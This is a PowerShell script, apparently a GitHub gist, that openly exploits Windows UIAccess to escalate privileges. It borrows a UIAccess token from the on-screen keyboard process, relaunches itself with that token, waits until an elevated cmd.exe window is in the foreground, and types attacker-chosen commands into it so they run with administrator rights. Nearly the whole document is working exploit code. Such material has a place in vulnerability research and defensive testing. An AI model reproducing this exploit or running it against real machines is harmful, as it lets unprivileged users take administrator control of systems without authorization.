<# | |
This script abuses UIAccess to get elevated privileges | |
if an admin command prompt is focussed while executing. | |
Execute the script from a normal user and specify the | |
-SendText command. For example passing "notepad" will | |
send the text "`r`nnotepad`r`n" to the focussed admin | |
command prompt on the desktop which will cause the | |
prompt to execute notepad with elevated privileges. | |
You also need to install the NtObjectManager module. | |
#> | |
param( | |
[Parameter(Mandatory)] | |
[string]$SendText, | |
[switch]$Respawn | |
) | |
Import-Module NtObjectManager | |
function Get-UIAccessToken { | |
$osk = Start-Process osk.exe -PassThru | |
Use-NtObject($p = Get-NtProcess -Access QueryLimitedInformation -ProcessId $osk.Id) { | |
$osk.Kill() | |
Use-NtObject($t = Get-NtToken -Access Duplicate,Query -Process $p) { | |
if ($t.UIAccess -eq $false) { | |
Write-Host "OSK didn't start UIAccess" | |
return $null | |
} | |
$il = Use-NtObject($pt = Get-NtToken) { | |
$pt.IntegrityLevel | |
} | |
return Get-NtToken -Process $p -Duplicate -TokenType Primary -IntegrityLevel $il | |
} | |
} | |
} | |
function Start-UIAccess { | |
try { | |
Use-NtObject($t = Get-UIAccessToken) { | |
if ($t -eq $null) { | |
return | |
} | |
Use-NtObject($p = New-Win32Process -CommandLine "powershell `"$PSCommandPath`" -SendText `"$SendText`" -Respawn" -Token $t -TerminateOnDispose) { | |
$p.Process.Wait() | Out-Null | |
} | |
} | |
} catch { | |
Write-Host $_ | |
} | |
} | |
if (!$Respawn) { | |
Start-UIAccess | |
exit | |
} | |
Use-NtObject($t = Get-NtToken) { | |
if ($t.UIAccess -eq $false) { | |
Write-Host "Not running with UIAccess set" | |
exit | |
} | |
} | |
$code = @' | |
using System; | |
using System.Text; | |
using System.Runtime.InteropServices; | |
public static class Win32Utils | |
{ | |
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] | |
private static extern IntPtr GetForegroundWindow(); | |
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] | |
private static extern int GetWindowThreadProcessId(IntPtr hWnd, out int lpdwProcessId); | |
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] | |
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); | |
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] | |
static extern int GetWindowTextLength(IntPtr hWnd); | |
public static int GetForegroundProcessId() | |
{ | |
int pid = 0; | |
if (GetWindowThreadProcessId(GetForegroundWindow(), out pid) != 0) | |
return pid; | |
return 0; | |
} | |
public static string GetForegroundWindowTitle() | |
{ | |
IntPtr hWnd = GetForegroundWindow(); | |
int length = GetWindowTextLength(hWnd); | |
StringBuilder builder = new StringBuilder(length + 1); | |
if (GetWindowText(hWnd, builder, length + 1) > 0) { | |
return builder.ToString(); | |
} | |
return string.Empty; | |
} | |
} | |
'@ | |
Write-Host "Waiting for elevated command prompt to send `"$SendText`"" | |
Add-Type -TypeDefinition $code | |
Add-Type -AssemblyName "System.Windows.Forms" | |
while($true) { | |
try { | |
$title = [Win32Utils]::GetForegroundWindowTitle() | |
$winid = [Win32Utils]::GetForegroundProcessId() | |
if ($winid -gt 0) { | |
Use-NtObject($p = Get-NtProcess -ProcessId $winid -Access QueryLimitedInformation) { | |
if ($p.Name -eq "cmd.exe") { | |
Use-NtObject($t = Get-NtToken -Process $p) { | |
if ($t.Elevated) { | |
Write-Host "Elevated command prompt in foreground - $winid - $title" | |
[System.Windows.Forms.SendKeys]::SendWait("`r`n$SendText`r`n") | |
exit | |
} | |
} | |
} | |
} | |
} | |
} catch { | |
} | |
Start-Sleep -Seconds 1 | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment